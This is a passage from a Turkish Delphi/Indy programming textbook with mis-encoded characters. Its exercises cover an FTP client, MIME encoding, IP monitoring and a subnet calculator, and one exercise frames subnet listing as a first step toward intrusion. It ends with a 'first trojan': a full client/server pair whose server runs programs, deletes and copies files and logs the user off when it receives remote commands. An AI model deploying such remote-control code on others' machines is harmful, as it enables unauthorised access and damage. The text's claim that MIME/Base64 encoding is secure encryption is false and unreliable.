aúa÷ıda gösterilen tasarımı oluúturup gerekli olan kodları “Unit” penceresine ekleyiniz. 358 Uygulama 9:Ftp Sitelerinden Dosya øndirmek Uygulamamız için formunuza bir adet “IdFTP”, bir adet “OpenDialog”, bir adet “SaveDialog”, iki adet “ComboBox”, dört adet “Button”, bir adet “Edit” ve bir adet “Label” kontrolü yerleútiriniz. Program için kullanılacak olan kod blo÷u aúa÷ıda verilmiútir. procedure TForm1.FormCreate(Sender: TObject); var dosyalar:TStrings; begin dosyalar:=TStringList.Create; ComboBox1.Items.Add('ftp.bir.net'); ComboBox1.Items.Add('ftp.linux.org.tr'); ComboBox1.Items.Add('ftp.bir.net'); ComboBox1.Items.Add('ftp.microsoft.com'); ComboBox1.ItemIndex:=0;//Dördüncü elemanı göster WebBrowser1.Navigate(ComboBox1.Text); IdFTP1.Port:=21; IdFTP1.Host:=ComboBox1.Text; IdFTP1.Username:='anonymous'; IdFTP1.Password:='[email protected]'; IdFTP1.Connect(); IdFTP1.List(dosyalar,'',false); ComboBox2.Items:=dosyalar; ComboBox2.ItemIndex:=0; Button4.Enabled:=false; ComboBox1.Style:=csOwnerDrawFixed;//giriú yok sadece seç end; 359 procedure TForm1.ComboBox1Click(Sender: TObject); var dosyalar:TStrings; begin WebBrowser1.Navigate(ComboBox1.Text); dosyalar:=TStringList.Create; ComboBox2.Items.Clear; WebBrowser1.Navigate(ComboBox1.Text); IdFTP1.Port:=21; IdFTP1.Host:=ComboBox1.Text; Form1.Caption:=IdFTP1.RetrieveCurrentDir;//aktif dizini yaz IdFTP1.List(dosyalar,'',false); ComboBox2.Items:=dosyalar; ComboBox2.ItemIndex:=0;//ilk elemanı göster end; procedure TForm1.ComboBox1KeyPress(Sender: TObject; var Key: Char); var dosyalar:TStrings; begin if Key=#13 Then begin dosyalar:=TStringList.Create; ComboBox2.Items.Clear; WebBrowser1.Navigate(ComboBox1.Text); IdFTP1.Port:=21; IdFTP1.Host:=ComboBox1.Text; IdFTP1.Username:='anonymous'; IdFTP1.Password:='[email protected]'; IdFTP1.List(dosyalar,'',false); ComboBox2.Items:=dosyalar; ComboBox2.ItemIndex:=0; end; end; procedure TForm1.Button2Click(Sender: TObject); //Dizin De÷iútir var dosyalar:TStrings; begin dosyalar:=TStringList.Create; IdFTP1.ChangeDir(Edit1.Text); ComboBox2.Items.Clear; IdFTP1.List(dosyalar,'',false);//klasör ve dosyaları göster 360 ComboBox2.Items:=dosyalar;//aktar ComboBox2.ItemIndex:=0; ComboBox1.Text:=ComboBox1.Text+'/'+Edit1.Text; WebBrowser1.Navigate(ComboBox1.Text); end; procedure TForm1.ComboBox2Change(Sender: TObject); //Dosya øndir var mesaj:Integer; dosya:AnsiString; begin mesaj:=Application.MessageBox('Dosya øndirilsinmi','Dosya øndir',MB_YESNO); if mesaj=mrYes Then begin if SaveDialog1.Execute Then dosya:=SaveDialog1.FileName;//Buraya kaydet IdFTP1.Get(ComboBox2.Text,dosya,false);//üstüne yazma end; end; procedure TForm1.Button3Click(Sender: TObject); //Ba÷lantıyı Kes begin IdFTP1.Disconnect; Button3.Enabled:=false; Button4.Enabled:=true; Button1.Enabled:=false; Button2.Enabled:=false; WebBrowser1.Navigate('ftp://ftp.bir.net'); ComboBox1.Text:='ftp.bir.net'; ComboBox2.Enabled:=false; end; procedure TForm1.ComboBox1Change(Sender: TObject); var dosyalar:TStrings; begin WebBrowser1.Navigate(ComboBox1.Text); dosyalar:=TStringList.Create; ComboBox2.Items.Clear; WebBrowser1.Navigate(ComboBox1.Text); IdFTP1.Port:=21; IdFTP1.Host:=ComboBox1.Text; Form1.Caption:=IdFTP1.RetrieveCurrentDir; 361 IdFTP1.List(dosyalar,'',false); ComboBox2.Items:=dosyalar; ComboBox2.ItemIndex:=0; end; procedure TForm1.Button5Click(Sender: TObject); //Dosya Yolla var yol:AnsiString; begin if OpenDialog1.Execute Then begin yol:=OpenDialog1.FileName; end; IdFTP1.Put(yol,'yeniisim.txt',true); end; procedure TForm1.Button4Click(Sender: TObject); //Ba÷lan var dosyalar:TStrings; begin dosyalar:=TStringList.Create; ComboBox2.Enabled:=true; ComboBox1.ItemIndex:=0;//ølk elemanı göster WebBrowser1.Navigate(ComboBox1.Text); IdFTP1.Port:=21; IdFTP1.Host:=ComboBox1.Text; IdFTP1.Username:='anonymous'; IdFTP1.Password:='[email protected]'; IdFTP1.Connect(); IdFTP1.List(dosyalar,'',false); ComboBox2.Items:=dosyalar; ComboBox2.ItemIndex:=0; Button4.Enabled:=false; Button3.Enabled:=true; Button1.Enabled:=true; Button2.Enabled:=true; end; ùimdi programı çalıútırabilirsiniz. Uygulamanızın ekran görüntüsü aúa÷ıdaki úekilde gerçekleúecektir. Dilerseniz ba÷landı÷ınız siteye dosya yollayabilir, dilerseniz siteden dosya indirebilirsiniz. Form üzerinde yer alan Edit kutusu içerisine klasör de÷iútirmek istedi÷iniz zaman, içerisindeki dosyaları 362 listeleyece÷iniz klasörün ismini girmelisiniz. Ardından “Dizin De÷iútir” dü÷mesine basın. Örnekte dikkat edin, ikinci combo içerisindeki elemanlar aktif sitede yer alan indirilebilir dosya isimleri olacaktır. ùimdi ister dosya indirin, isterseniz dosya gönderin. Dosya indirmek için ikinci ComboBox dan dosyanın ismini seçmeniz yeterli olacaktır. 363 IdEncoderMIME Kontrolü: “Indy Misc” yapra÷ında yer alan bu kontrol sayesinde dosyalarınızı veya metinlerinizi kolayca encript edebilirsiniz. Bilhassa network ortamına aktarılacak olan verilerin encript edilmeleri bazı durumlar için zorunlu olabilir. Dosyaları encript edip gönderirseniz güvenli÷i max dereceye çıkarmıú olursunuz. Aúa÷ıda kontrole ait özellikler listelenmektedir. x IdEncoderMIME1.EncodeString Parametreyle girilen metni úifrelemek için kullanılan methoddur. Geriye dönen de÷er string tip bir de÷iúkende tutulabilir. procedure TForm1.Button2Click(Sender: TObject); //Metin Encript Et var deger:AnsiString; begin deger:=IdEncoderMIME1.EncodeString(Memo1.Text); end; ùayet bir dosyayı encript edecekseniz aúa÷ıdaki kod blo÷unu kullanabilirsiniz. procedure TForm1.Button2Click(Sender: TObject); //Dosya Encript et var dosya:TFileStream; begin dosya:=TFileStream.Create('c:\ali.txt',fmOpenread); IdEncoderMIME1.Encode(dosya); end; Decript etme iúlemini gösterdikten sonra bu kontrole ait örneklendirme yapılacaktır. Bu yüzden úimdilik di÷er Decript iúlemi için kullanılan kontrole ait özellikleri inceleyece÷iz. 364 IdDecoderMIME Kontrolü: “Indy Misc” yapra÷ında yer alan bu kontrol sayesinde “IdEncoderMIME” kontrolüyle kodlanmıú olan metinler kolayca orjinal hallerine dönüútürülebilirler. Aúa÷ıda bu kontrole ait özellikle açıklanmaya çalıúılmaktadır. x IdDecoderMIME1.DecodeString “IdEncoderMIME” kontrolü ile kodlanmıú metinler bu method sayesinde eski hallerine dönüútürülebilirler. Geriye dönen de÷er string tipte bir de÷iúkene aktarılabilir. procedure TForm1.Button3Click(Sender: TObject); //Çöz var deger:AnsiString; begin deger:=IdDecoderMIME1.DecodeString(Memo2.Text); end; x IdDecoderMIME1.DecodeToStream String içeri÷i kodlayıp, stream tipte de÷iúkene (dosya de÷iúkenine) aktarmak için kullanılan methoddur. procedure TForm1.Button3Click(Sender: TObject); //çöz dosyaya yolla var deger:AnsiString; dosya:TfileStream; begin IdDecoderMIME1.DecodeToStream(deger,dosya); end; ùimdi hem Encript, hemde Decript iúlemini gerçekleútirebilece÷imiz bir örnek yapaca÷ız. 365 Uygulama 9:Dosyalara Encript-Decript øúlemleri Uygulamak ùimdiki örne÷imizde harddiskte yer alan “txt” uzantılı dosya içerisindeki bilgileri memo kontrolünde açarak kodlayaca÷ız. Ardından kodladı÷ımız içeri÷i yine bilgisayarın içerisinde, aynı klasöre farklı isimde saklayaca÷ız. økinci adımda ise kodladı÷ımız dosyayı kullanarak “Decript” iúlemini gerçekleútirerek orjinal dosyayı oluúturaca÷ız. Aúa÷ıdaki tasarımı oluúturunuz. ølk Yapra÷a ait tasarım. økinci yapra÷a ait tasarım ùimdi yapaca÷ımız iúlemleri adım adım oluúturalım. Aúa÷ıdaki hususları aynı sırayla sizde geçekleútiriniz. 366 Birinci adımda formunuza bir adet “Indy Misc” yapra÷ında yer alan “IdEncoderMIME” kontrolü yerleútirin. økinci adımda formunuza bir adet “Indy Misc” yapra÷ında yer alan “IdDecoderMIME” kontrolü yerleútirin. Üçüncü adımda formunuza bir adet “Dialog” yapra÷ında yer alan “OpenDialog” kontrolü ekleyiniz. Dördüncü adımda formunuza “Win32” yapra÷ında yer alan “PageControl” kontrolü yerleútirip iki adet yaprak ekleyin (Bu konular daha önce ki kitabımızda detaylı olarak anlatılmıútır). Sanıyorum di÷er kontroller için açıklama yapmaya gerek yok tasarım görüntüsünden kolayca çıkarabilirsiniz. Son olarak aúa÷ıdaki kod bloklarını “Unit” pencerenize ekleyiniz. implementation uses StrUtils; {$R *.dfm} var klasor:AnsiString; yol:AnsiString; ad:AnsiString; kodludeger:Ansistring; procedure TForm1.Button1Click(Sender: TObject); //Dosya Seç begin if OpenDialog1.Execute Then begin yol:=OpenDialog1.FileName; ad:=ExtractFileName(yol); klasor:=ExtractFilePath(yol); Memo1.Lines.LoadFromFile(yol); label2.Caption:=AnsiReplaceStr(ad,'.','_')+'.xxx';//harfleri de÷iútir end; end; procedure TForm1.Button2Click(Sender: TObject); //Encript var deger:AnsiString; begin deger:=IdEncoderMIME1.EncodeString(Memo1.Text);//metni kodla Memo2.Text:=deger; Memo2.Lines.SaveToFile(klasor+'\'+Label2.Caption);//kaydet end; procedure TForm1.Button3Click(Sender: TObject); 367 //Decript var deger:AnsiString; begin deger:=IdDecoderMIME1.DecodeString(Memo2.Text);//çöz Memo1.Text:=deger; Memo1.Lines.SaveToFile(klasor+'\'+label5.Caption); end; procedure TForm1.Button5Click(Sender: TObject); //økinci yaprak için seç begin if OpenDialog1.Execute Then begin yol:=OpenDialog1.FileName; ad:=ExtractFileName(yol); klasor:=ExtractFilePath(yol); Memo2.Lines.LoadFromFile(yol); label5.Caption:=AnsiReplaceStr(ad,'.','_')+'.txt';//harfleri de÷iútir end; end; Programı çalıútırdıktan sonra “Dosya Encript Et” yapra÷ını aktif hale getirin. Ardından “Seç” dü÷mesine tıklayarak “txt” uzantılı bir dosya bulun. øçerik “Memo” kontrolüne aktarılacaktır. Ardından “Encript” dü÷mesine tıklayarak “Memo” içerisindeki metnin kodlanmasını sa÷layın (kodlanan metin aynı klasör içerisinde yeni ismiyle kaydedilecektir). 368 ùimdi “Dosya Decript Et” yapra÷ını aktifleútirirseniz. Metnin kodlanmıú halini “Memo2” kontrolünde görebilirsiniz. ùayet kodlanmıú bir dosyayı çözecekseniz o zaman ilk olarak “Dosya Decript Et” yapra÷ını aktifleútirerek aynı iúlemleri tekrarlayınız (bu sefer Encript edilmiú dosyayı seçin). Bu iúlemleri uyguladıktan sonra orjinal dosyanızın bulundu÷u klasörün içerisi aúa÷ıdaki úekilde yeni iki dosya daha barındıracaktır. Dikkat edin “neticin.txt”, “neticin_txt.xxx” ve “neticin_txt_xxx.txt” dosyaları pencerede gözükmektedir. 369 Uygulama 10:Stream Tip De÷iúkenlerle Encript-Decript øúlemleri Bu örne÷imizde TFileStream tip bir de÷iúken kullanarak dosya encript ve decript iúlemlerini göstermek istiyorum. Örne÷imiz için aúa÷ıdaki form tasarımını oluúturunuz. Formun üzerine yerleútirilen kontroller için açıklanacak fazla bir úey yok, hepsini yerleútiriniz. Ardından aúa÷ıdaki kod blo÷unu “Unit” pencerenize ekleyiniz. procedure TForm1.FormCreate(Sender: TObject); begin Memo1.Lines.LoadFromFile('c:\nihat\yuksel.txt'); end; procedure TForm1.Button1Click(Sender: TObject); //Encript var dosya:TFileStream; yol,metin:AnsiString; begin if OpenDialog1.Execute Then begin yol:=OpenDialog1.FileName; Memo1.Lines.LoadFromFile(yol); dosya:=TFileStream.Create(yol,fmOpenRead); metin:=IdEncoderMIME1.Encode(dosya);//Encript Et Memo2.Text:=metin; Memo2.Lines.SaveToFile(yol+'.xxx');//kaydet 370 end; end; procedure TForm1.Button2Click(Sender: TObject); //Decript var dosya:TFileStream; metin,yol:AnsiString; begin if SaveDialog1.Execute Then begin yol:=SaveDialog1.FileName; dosya:=TFileStream.Create(yol,fmCreate);//dosyayı yarat metin:=Memo2.Text; IdDecoderMIME1.DecodeToStream(metin,dosya);//çöz dosyaya aktar dosya.Free; Memo3.Lines.LoadFromFile(yol);//göster end; end; Programı çalıútırdıktan sonra iki dü÷meyi de kulanırsanız aúa÷ıdaki ekran görüntüsüyle karúılaúırsınız. “Memo1” ilk dosyaya ait bilgileri göstermektedir. Ardından uygulanan Encription iúlemi sonucunda “Memo2” de kodlanmıú hali, yine uygulanan “Decription” iúlemi sonucunda eski dosya içeri÷iyle aynı olan yeni dosyanın içeri÷i “Memo3” kontrolünde gösterilmektedir. 371 IdIPWatch Kontrolü: Bu kontrol sayesinde bilgisayarınızın a÷ ba÷lantısıyla ilgili tüm de÷iúiklikleri izlemeniz mümkün olabilmektedir. Aynı zamanda a÷ ba÷lantısı için kullanılan bir çok özelli÷ide ö÷renebilirsiniz. x IdIPWatch1.Active A÷ ba÷lantısında olabilecek de÷iúiklikleri izlemek için bu özelli÷e true de÷erinin aktarılması gerekecektir. procedure TForm1.FormCreate(Sender: TObject); begin IdIPWatch1.Active:=true; end; x IdIPWatch1.IsOnline Ethernet veya modem ba÷lantısının var olup olmadı÷ını bu özellikle kontrol edebilirsiniz. True de÷erinin dönmesi lokal veya internet ba÷lantınızın oldu÷u anlamını taúımaktadır. procedure TForm1.Timer1Timer(Sender: TObject); begin if IdIPWatch1.IsOnline Then//ba÷lantı varsa begin StatusBar1.Panels[0].Text:=IdIPWatch1.CurrentIP; end; x dIPWatch1.CurrentIP Bilgisayarınızın o an kullandı÷ı “IP” numarasını ö÷renebilmeniz için kullanabilece÷iniz özelliktir. Geriye string tip de÷er dönecektir. procedure TForm1.Timer1Timer(Sender: TObject); begin StatusBar1.Panels[0].Text:=IdIPWatch1.CurrentIP; end; 372 x IdIPWatch1.LocalName Bilgisayarınızın ismini ö÷renebilece÷iniz özelli÷idir. procedure TForm1.Timer1Timer(Sender: TObject); begin StatusBar1.Panels[1].Text:=IdIPWatch1.LocalName; end; x IdIPWatch1.PreviousIP Bir önce kullanılmıú olan “IP” numarasını ö÷renebilmek için kullanılan özelli÷idir. Daha önce bilgisayarın kullandı÷ı “IP” numaraları “History” içerisinde saklanmaktadır (belli bir de÷ere kadar). procedure TForm1.Timer1Timer(Sender: TObject); begin StatusBar1.Panels[2].Text:=IdIPWatch1.PreviousIP; end; x IdIPWatch1.IPHistoryList History de birikmiú (daha önce kullanılmıú olan) “IP” numaralarını listelemek için kullanılan özelli÷idir. ùayet kurulum aúamasından sonra tek bir “IP” de÷eri kullanılımıúsa liste boú gelebilir. procedure TForm1.Button1Click(Sender: TObject); var deger:TStrings; begin deger:=TStringList.Create; deger:=IdIPWatch1.IPHistoryList; ListBox1.Items:=deger; end; x OnStatusChanged Yordamı Ba÷lantı durumunda de÷iúiklik olması bu yordamı otomatik olarak iúletecektir. Yordamın iúletilebilmesi için, a÷ ba÷lantısının aktifleúmesi veya aktif olan a÷ ba÷lantısının kapatılması gerekecektir. 373 IdNetworkCalculator Kontrolü: “Indy Misc” yapra÷ında yer alan bu kontrol sayesinde belirleyece÷iniz “IP” numarası ve “Subnet Mask” de÷erine göre, o segmentteki tüm özellikleri ö÷renebilirsiniz. Bu kontrolle bilgisayarınıza ait de÷erleri de÷iútiremezsiniz sadece olan de÷erleri ö÷renebilirsiniz. x IdNetworkCalculator1.NetworkAddress.AsString Özelliklerini listelemek istedi÷iniz “IP” numarasını bu úekilde belirleyebilirsiniz.Atanacak olan de÷er string tipte bir de÷iúkenin de÷eri olacaktır. procedure TForm1.Button1Click(Sender: TObject); begin IdNetworkCalculator1.NetworkAddress.AsString:='192.168.100.100'; end; x IdNetworkCalculator1.NetworkMask.AsString Özelliklerini belirleyece÷iniz “IP” numarasına ait “Subnet Mask” de÷erini bu özellikle belirleyebilirsiniz. “IP” numarasını belirlediktan sonra buraya rasgele bir de÷er giremezsiniz. Birazdan bu de÷eri nasıl belirleyebilece÷iniz hususunda gerekli açıklamalar yapılacaktır. procedure TForm1.Button1Click(Sender: TObject); begin IdNetworkCalculator1.NetworkAddress.AsString:='192.168.100.100'; IdNetworkCalculator1.NetworkMask.AsString:='255.255.0.0'; end; x IdNetworkCalculator1.StartIP Belirledi÷iniz subnet te yer alan ilk “IP” numarasını bu özellikle ö÷renebilirsiniz. procedure TForm1.Button1Click(Sender: TObject); begin IdNetworkCalculator1.NetworkAddress.AsString:='192.168.100.100'; IdNetworkCalculator1.NetworkMask.AsString:='255.255.0.0'; StatusBar1.Panels[0].Text:=IdNetworkCalculator1.StartIP; end; 374 x IdNetworkCalculator1.EndIP Belirledi÷iniz subnet te yer alan son “IP” numarasını bu özellikle ö÷renebilirsiniz. procedure TForm1.Button1Click(Sender: TObject); begin IdNetworkCalculator1.NetworkAddress.AsString:='192.168.100.100'; IdNetworkCalculator1.NetworkMask.AsString:='255.255.0.0'; StatusBar1.Panels[0].Text:=IdNetworkCalculator1.EndIP; end; x IdNetworkCalculator1.NumIP Belirlenen Sunette kaç de÷iúik “IP” numarasının yer alabilece÷ini belirleyen özelliktir. procedure TForm1.Button1Click(Sender: TObject); begin IdNetworkCalculator1.NetworkAddress.AsString:='192.168.100.100'; IdNetworkCalculator1.NetworkMask.AsString:='255.255.0.0'; StatusBar1.Panels[3].Text:=IntToStr(IdNetworkCalculator1.NumIP); end; x IdNetworkCalculator1.ListIP O subnette kullanabilece÷iniz tüm “IP” numaralarını ö÷renebilece÷iniz methoddur. Aúa÷ıda kullanımına ait örneklendirme yapılmaktadır. procedure TForm1.Button2Click(Sender: TObject); var deger:TStrings; begin deger:=TStringList.Create; IdNetworkCalculator1.NetworkAddress.AsString:='192.168.100.100'; IdNetworkCalculator1.NetworkMask.AsString:='255.255.0.0'; deger:=IdNetworkCalculator1.ListIP; ListBox1.Items:=deger; end; 375 Uygulama 11:IP Numaralandırma ùimdiki örne÷imizde belirleyece÷imiz “IP” numarası ile Subnet mask de÷erine ait özellikleri listeleyebilece÷imiz çok basit bir uygulama yapaca÷ız. Örne÷imiz için aúa÷ıdaki tasarımı oluúturunuz. Aúa÷ıdaki kod blo÷unu “Unit” pencerenize ekleyiniz. procedure TForm1.Button1Click(Sender: TObject); //Ö÷ren begin IdNetworkCalculator1.NetworkAddress.AsString:='192.168.100.100'; IdNetworkCalculator1.NetworkMask.AsString:='255.255.0.0'; StatusBar1.Panels[0].Text:=IdNetworkCalculator1.StartIP; StatusBar1.Panels[1].Text:=IdNetworkCalculator1.EndIP; StatusBar1.Panels[2].Text:=IdNetworkCalculator1.NetworkAddress.AsString; StatusBar1.Panels[3].Text:=IntToStr(IdNetworkCalculator1.NumIP); end; procedure TForm1.Button2Click(Sender: TObject); //Listele var deger:TStrings; begin deger:=TStringList.Create; IdNetworkCalculator1.NetworkAddress.AsString:='192.168.100.100'; IdNetworkCalculator1.NetworkMask.AsString:='255.255.0.0'; deger:=IdNetworkCalculator1.ListIP; ListBox1.Items:=deger; end; ùimdi programınızı çalıútırabilirsiniz. 376 “Ö÷ren” ve “Listele” isimli dü÷melere tıkladıktan sonraki ekran görüntüsü aúa÷ıda verilmiútir. Listede yer alan elemanlar o a÷a baúlı bilgisayarlara verilebilecek olan “IP” numaralarını göstermektedir. 377 Uygulama 12:Ba÷lanan Bilgisayarın IP Aralı÷ı Bilhassa uzmanların çok kullandı÷ı bir yapı olan boútaki “IP” numaralarından birisini kullanıp sisteme girme iúleminin ilk kısmını yapalım. Yani size ba÷lanan bilgisayarın içerisine eriúebilmek için kullanılabilecek olan “IP” numaralarını listeletelim. Server Uygulaması Yukarıdaki form tasarımını oluúturup, üzerine bir adet “IdTCPServer” kontrolü ile bir adet “IdNetworkCalculator” kontrolü yerleútiriniz. Ardından aúa÷ıdaki kod blo÷unu “Unit” pencerenize ekleyiniz. procedure TForm1.FormCreate(Sender: TObject); //Portu Dinle begin IdTCPServer1.DefaultPort:=20000; IdTCPServer1.Active:=true; end; procedure TForm1.IdTCPServer1Connect(AThread: TIdPeerThread); var ipno:AnsiString; subnet:AnsiString; liste:TStrings; begin StatusBar1.Panels[0].Text:='Client Ba÷landı'; liste:=TStringList.Create; ipno:=AThread.Connection.Socket.Binding.PeerIP; 378 subnet:='255.255.0.0'; IdNetworkCalculator1.NetworkAddress.AsString:=ipno; IdNetworkCalculator1.NetworkMask.AsString:=subnet; liste:=IdNetworkCalculator1.ListIP; ListBox1.Items:=liste; end; Client Uygulaması Client uygulaması için formunuza bir adet “IdTCPClient” kontrolü yerleútirip aúa÷ıdaki kod blo÷unu formunuza ekleyiniz. procedure TForm1.Button1Click(Sender: TObject); //Ba÷lan begin IdTCPClient1.Host:=Edit1.Text; IdTCPClient1.Port:=StrToInt(Edit2.Text); IdTCPClient1.Connect(); end; procedure TForm1.Button2Click(Sender: TObject); //Gönder var mesaj:AnsiString; begin mesaj:=Memo1.Lines.Strings[Memo1.Lines.count-1]; IdTCPClient1.WriteLn(mesaj); end; procedure TForm1.IdTCPClient1Connected(Sender: TObject); 379 begin StatusBar1.Panels[0].Text:='Server a Ba÷lanıldı'; end; procedure TForm1.IdTCPClient1Disconnected(Sender: TObject); begin StatusBar1.Panels[0].Text:='Server ile Ba÷lantı Koptu'; end; ùimdi iki uygulamayı aúa÷ıdaki úekilde yanyana getirip çalıútırın. Client uygulaması Server bilgisayarına ba÷landı÷ı anda, a÷ geçidinde yer alan tüm “IP” numaraları listelenecektir. Bu tür network uygulamalarında kodlarınızı “try-except” blo÷u içerisinde yazmayı unutmayınız. Oluúabilecek istem dıúı durumları bu úekilde engelleyebilirsiniz. 380 Uygulama 13:ølk Trojan ùimdiki uygulamamızda iki adet proje geliútirerek “Client” uygulamasından “Server” uygulamasını yönetece÷iz. Aynı mantıkla daha de÷iúik kodlar kullanarak projeyi geliútirebilirsiniz. øki uygulamaya ait tasarım görüntüleri aúa÷ıda verilmiútir. Sizde aynı tasarımları oluúturunuz. Server Uygulaması Formnuza bir adet ComboBox, bir adet Label ve bir adet IdTcpServer kontrolü yerleútirerek aúa÷ıdaki kod blo÷unu da “Unit” pencerenize ekleyiniz. Cd kapa÷ını açıp kapatmak için “uses” satırına “MMSYSTEM” kütüphanesini eklemeyi unutmayınız. procedure TForm1.IdTCPServer1Connect(AThread: TIdPeerThread); begin AThread.Connection.WriteLn('Ba÷lantı Sa÷landı'); StatusBar1.Panels[0].Text:='Komut Bekleniyor'; end; procedure TForm1.FormCreate(Sender: TObject); begin IdTCPServer1.DefaultPort:=20000; IdTCPServer1.Active:=true; end; procedure TForm1.IdTCPServer1Execute(AThread: TIdPeerThread); var mesaj:AnsiString; i:Integer; ad:Array[0..5] of PAnsiChar; elips:HRGN; 381 begin mesaj:=AThread.Connection.ReadLn;//portu oku if mesaj='notepad' Then begin WinExec('c:\winnt\notepad.exe',SW_SHOW);//çalıútır AThread.Connection.WriteLn('ùu An Server da Nete Pad Çalıúıyor'); StatusBar1.Panels[1].Text:='En Son Çalıútır Komutu Geldi'; end else if mesaj='cdac' Then begin mciSendString('set cdaudio door open',nil,0,0);//kapa÷ı aç AThread.Connection.WriteLn('Cd Kapa÷ı Açıldı'); StatusBar1.Panels[1].Text:='En Son Cd Ka÷pa÷ını Aç Komutu Geldi'; end else if mesaj='cdkapat' Then begin mciSendString('set cdaudio door closed',nil,0,0);//cd yi kapat AThread.Connection.WriteLn('Cd Kapa÷ı Kapatıldı'); StatusBar1.Panels[1].Text:='En Son Cd K÷pa÷ını Kapat Komutu Geldi'; end else if mesaj='ekran' Then begin SendMessage(Application.Handle,WM_SYSCOMMAND,SC_SCREENSAVE,0); AThread.Connection.WriteLn('Ekran Koruyucu Çalıútırıldı'); StatusBar1.Panels[1].Text:='En Son Ekran Koruyucuyu Çalıútır Komutu Geldi'; end else if mesaj='sil' Then begin DeleteFile('c:\nihat.txt'); AThread.Connection.WriteLn('Dosya Silindi'); StatusBar1.Panels[1].Text:='En Son Dosya Sil Komutu Geldi'; end else if mesaj='kopyala' Then begin for i:=0 to 5 do //altı kere kopyala begin StrPCopy(ad[0],PCHar(IntToStr(i)));//yeni ismler CopyFile('c:\nihat.txt',pcHAR('c:\nihat'+ad[0]+'.txt'),FALSE);//6 dosya oluútur //Kendili÷inden ço÷alan virüs dosyaları bu kod ile oluúturulmaktadır. end; AThread.Connection.WriteLn('Dosya Kopyalandı'); StatusBar1.Panels[1].Text:='En Son Dosya Kopyala Komutu Geldi'; end 382 else if mesaj='elips' Then begin elips:=CreateEllipticRgn(0,0,Form1.Width,Form1.Height); SetWindowRgn(Form1.Handle,elips,true); AThread.Connection.WriteLn('Form Elips ùeklinde'); StatusBar1.Panels[1].Text:='En Son Elips Form Komutu Geldi'; end else if mesaj='comboac' Then begin SendMessage(ComboBox1.Handle,CB_SHOWDROPDOWN,200,0); AThread.Connection.WriteLn('ComboBox Açıldı'); StatusBar1.Panels[1].Text:='En Son ComboBox ı Aç Komutu Geldi'; end else if mesaj='kapat' Then begin ExitWindows(12,ewx_logoff); AThread.Connection.WriteLn('Kapanıyor'); StatusBar1.Panels[1].Text:='En Son Kapat Komutu Geldi'; End else begin ShowMessage(mesaj); AThread.Connection.WriteLn('Mesaj Alındı'); StatusBar1.Panels[1].Text:='Mesaj Geldi'; end; end; Bu örnek için Dosya sil ve Dosya kopyala seçeneklerinde “c:\nihat.txt” dosyası var olarak kabul edilmiútir (sizde oluúturun). Aslında daha de÷iúik algoritmalarla daha farklı alternatifler sunulabilir (siz eklemeyi deneyip programı geliútiriniz). Bu kısmı artık sizlere bırakıyoruz. Client Uygulaması Server uygulamasına komut gönderecek olan Client uygulamasına ait form tasarımı aúa÷ıda verilmiútir. Formunuza bir adet “IdTCPClient” (indyClient yapra÷ında) kontrolü ile di÷er dü÷me ve Edit kontrollerini yerleútiriniz. Ardından aúa÷ıdaki kod blo÷unu “Unit” pencerenize ekleyiniz. 383 procedure TForm1.FormCreate(Sender: TObject); //Ba÷lantı ayarları begin Edit1.Text:='10.11.0.180'; Edit2.Text:='20000'; IdTCPClient1.Host:=Edit1.Text; IdTCPClient1.Port:=StrToInt(Edit2.Text); Button12.Enabled:=false; end; procedure TForm1.Button11Click(Sender: TObject); //Ba÷lan var oku:AnsiString; begin IdTCPClient1.Connect(); //ba÷lan oku:=IdTCPClient1.ReadLn;//porttan oku StatusBar1.Panels[0].Text:=oku; Button11.Enabled:=false; Button12.Enabled:=true; end; procedure TForm1.Button1Click(Sender: TObject); //NotePad Çalıútır var oku:AnsiString; begin if IdTCPClient1.Connected Then begin IdTCPClient1.WriteLn('notepad');//gönder oku:=IdTCPClient1.ReadLn;//porttan oku StatusBar1.Panels[1].Text:=oku; 384 end; end; procedure TForm1.Button2Click(Sender: TObject); //Cd Aç var oku:AnsiString; begin if IdTCPClient1.Connected Then begin IdTCPClient1.WriteLn('cdac');//gönder oku:=IdTCPClient1.ReadLn;//porttan oku StatusBar1.Panels[1].Text:=oku; end; end; procedure TForm1.Button3Click(Sender: TObject); //Cd Kapat var oku:AnsiString; begin if IdTCPClient1.Connected Then begin IdTCPClient1.WriteLn('cdkapat');//gönder oku:=IdTCPClient1.ReadLn;//porttan oku StatusBar1.Panels[1].Text:=oku; end; end; procedure TForm1.Button4Click(Sender: TObject); //Ekran Koruyucuyu Çalıútır var oku:AnsiString; begin if IdTCPClient1.Connected Then begin IdTCPClient1.WriteLn('ekran');//gönder oku:=IdTCPClient1.ReadLn;//porttan oku StatusBar1.Panels[1].Text:=oku; end; end; procedure TForm1.Button5Click(Sender: TObject); //Mesaj Yolla var oku:AnsiString; mesaj:AnsiString; 385 begin mesaj:=InputBox('Mesajı Giriniz','Mesaj','Selam'); if IdTCPClient1.Connected Then begin IdTCPClient1.WriteLn(mesaj);//gönder oku:=IdTCPClient1.ReadLn;//porttan oku StatusBar1.Panels[1].Text:=oku; end; end; procedure TForm1.Button6Click(Sender: TObject); //Dosya Sil var oku:AnsiString; begin if IdTCPClient1.Connected Then begin IdTCPClient1.WriteLn('sil');//gönder oku:=IdTCPClient1.ReadLn;//porttan oku StatusBar1.Panels[1].Text:=oku; end; end; procedure TForm1.Button7Click(Sender: TObject); //Kopyala var oku:AnsiString; begin if IdTCPClient1.Connected Then begin IdTCPClient1.WriteLn('kopyala');//gönder oku:=IdTCPClient1.ReadLn;//porttan oku StatusBar1.Panels[1].Text:=oku; end; end; procedure TForm1.Button8Click(Sender: TObject); //Ellips Yap var oku:AnsiString; begin if IdTCPClient1.Connected Then begin IdTCPClient1.WriteLn('elips');//gönder oku:=IdTCPClient1.ReadLn;//porttan oku StatusBar1.Panels[1].Text:=oku; 386 end; end; procedure TForm1.Button9Click(Sender: TObject); //ComboBox Aç var oku:AnsiString; begin if IdTCPClient1.Connected Then begin IdTCPClient1.WriteLn('comboac');//gönder oku:=IdTCPClient1.ReadLn;//porttan oku StatusBar1.Panels[1].Text:=oku; end; end; procedure TForm1.Button10Click(Sender: TObject); var //Bilgisayarı Kapat oku:AnsiString; begin if IdTCPClient1.Connected Then begin IdTCPClient1.WriteLn('kapat');//gönder oku:=IdTCPClient1.ReadLn;//porttan oku StatusBar1.Panels[1].Text:=oku; end; end; procedure TForm1.IdTCPClient1Disconnected(Sender: TObject); begin StatusBar1.Panels[0].Text:='Ba÷lantı Kesildi'; end; procedure TForm1.Button12Click(Sender: TObject); //Ba÷lantıyı Kes begin IdTCPClient1.Disconnect; Button12.Enabled:=false; Button11.Enabled:=true; end; ùimdi iki uygulamayı 